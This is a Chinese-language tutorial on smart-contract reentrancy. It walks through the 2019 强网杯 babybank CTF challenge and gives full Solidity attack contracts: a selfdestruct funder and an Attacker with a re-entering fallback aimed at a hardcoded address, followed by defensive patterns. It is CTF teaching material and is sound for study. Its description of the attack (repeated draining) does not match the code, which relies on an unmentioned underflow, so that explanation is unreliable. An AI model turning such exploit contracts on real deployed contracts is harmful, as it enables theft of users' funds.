智能合约重入漏洞详解与CTF实战教学

一、重入漏洞概述

重入漏洞(Reentrancy Attack)是智能合约中最经典且危险的安全漏洞之一。该漏洞源于以太坊智能合约在执行外部调用时，会暂停当前合约的执行并转移控制权给被调用合约。如果攻击者精心构造恶意合约，可以在外部调用完成前重新进入原合约函数，从而绕过状态检查，实现重复提款等攻击。

二、漏洞原理分析

1. 关键问题点

重入漏洞通常出现在以下代码模式中：

function withdraw(uint amount) public {
    require(balance[msg.sender] >= amount);
    msg.sender.call.value(amount)();  // 危险的外部调用
    balance[msg.sender] -= amount;    // 状态更新在调用之后
}

2. 漏洞触发机制

1. 调用顺序问题：先转账后更新余额
2. gas传递：使用call.value()会传递所有剩余gas
3. fallback函数：攻击合约通过fallback函数实现递归调用

3. 与其他转账方式的对比

三、CTF题目分析（2019强网杯babybank）

1. 题目合约关键函数

pragma solidity ^0.4.23;

contract babybank {
    mapping(address => uint) public balance;
    mapping(address => uint) public level;
    address owner;
    uint secret;
    
    // 目标函数
    function payforflag(string md5ofteamtoken, string b64email) public {
        require(balance[msg.sender] >= 10000000000);
        balance[msg.sender] = 0;
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken, b64email);
    }
    
    // 重入漏洞点
    function withdraw(uint256 amount) public {
        require(amount == 2);
        require(amount <= balance[msg.sender]);
        address(msg.sender).call.value(amount * 0x5af3107a4000)();
        balance[msg.sender] -= amount;
    }
    
    // 余额增加函数
    function profit() public {
        require(level[msg.sender] == 0);
        balance[msg.sender] += 1;
        level[msg.sender] += 1;
    }
    
    function guess(uint256 number) public {
        require(number == secret);
        require(level[msg.sender] == 1);
        balance[msg.sender] += 1;
        level[msg.sender] += 1;
    }
}

2. 攻击路径分析

1. 初始条件准备：

   • 合约初始无ETH，需通过自毁合约强制转账
   • 调用profit()使balance=1, level=1
   • 调用guess()使balance=2, level=2（满足withdraw条件）

2. 重入攻击实施：

   • 调用withdraw(2)触发重入
   • 攻击合约fallback函数中再次调用withdraw(2)
   • 循环直至合约余额耗尽

3. 获取flag：

   • 余额达到10000000000后调用payforflag()

四、完整攻击流程

1. 自毁合约注入ETH

pragma solidity ^0.4.24;

contract Abcc {
    function kill() public payable {
        selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));
    }
}

操作步骤：

1. 部署Abcc合约
2. 调用kill()并附带0.2 ETH

2. 攻击合约编写

pragma solidity ^0.4.24;

interface BabybankInterface {
    function withdraw(uint256 amount) external;
    function profit() external;
    function guess(uint256 number) external;
    function payforflag(string md5ofteamtoken, string b64email) external;
}

contract Attacker {
    BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);
    uint private reentrancyGuard = 0;
    
    function exploit() public payable {
        // 1. 初始化条件
        target.profit();
        target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
        
        // 2. 触发重入攻击
        target.withdraw(2);
        
        // 3. 获取flag
        target.payforflag("team_token_md5", "base64_email");
    }
    
    // 重入点
    function() external payable {
        require(reentrancyGuard == 0);
        reentrancyGuard = 1;
        target.withdraw(2);
        reentrancyGuard = 0;
    }
}

3. 攻击步骤

1. 部署Attacker合约
2. 调用exploit()函数
   • 自动执行profit()和guess()
   • 触发withdraw()开始重入攻击
   • 最终调用payforflag()获取flag

五、防御措施

1. 检查-生效-交互模式(Checks-Effects-Interactions)

function secureWithdraw(uint amount) public {
    // 检查
    require(balance[msg.sender] >= amount);
    
    // 生效
    balance[msg.sender] -= amount;
    
    // 交互
    msg.sender.transfer(amount);
}

2. 重入锁

bool private locked = false;

function safeWithdraw(uint amount) public {
    require(!locked, "Reentrancy detected");
    require(balance[msg.sender] >= amount);
    
    locked = true;
    msg.sender.transfer(amount);
    balance[msg.sender] -= amount;
    locked = false;
}

3. 使用OpenZeppelin的ReentrancyGuard

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureContract is ReentrancyGuard {
    function safeWithdraw(uint amount) public nonReentrant {
        // 安全操作
    }
}

六、CTF解题技巧总结

1. 逆向分析：当无源码时，使用反编译工具如EtherVM
2. 条件追踪：分析所有require条件及状态变量
3. 攻击链构造：
   • 初始条件准备
   • 漏洞触发点利用
   • 最终目标达成
4. 工具使用：
   • Remix IDE进行合约交互
   • Etherscan查看交易和事件
   • 调试工具分析执行流程

七、扩展学习

1. 经典重入攻击案例：The DAO攻击（2016）
2. 其他变种：
   • 跨函数重入
   • 只读重入
   • ERC777回调攻击
3. 相关CTF题目：
   • Ethernaut Level 10: Re-entrancy
   • Capture The Ether: Account Takeover

通过本教程，您应该已经掌握了智能合约重入漏洞的原理、利用方法及防御措施。在实际CTF比赛中，重入漏洞常与其他漏洞组合出现，需要综合分析合约逻辑才能构造有效攻击链。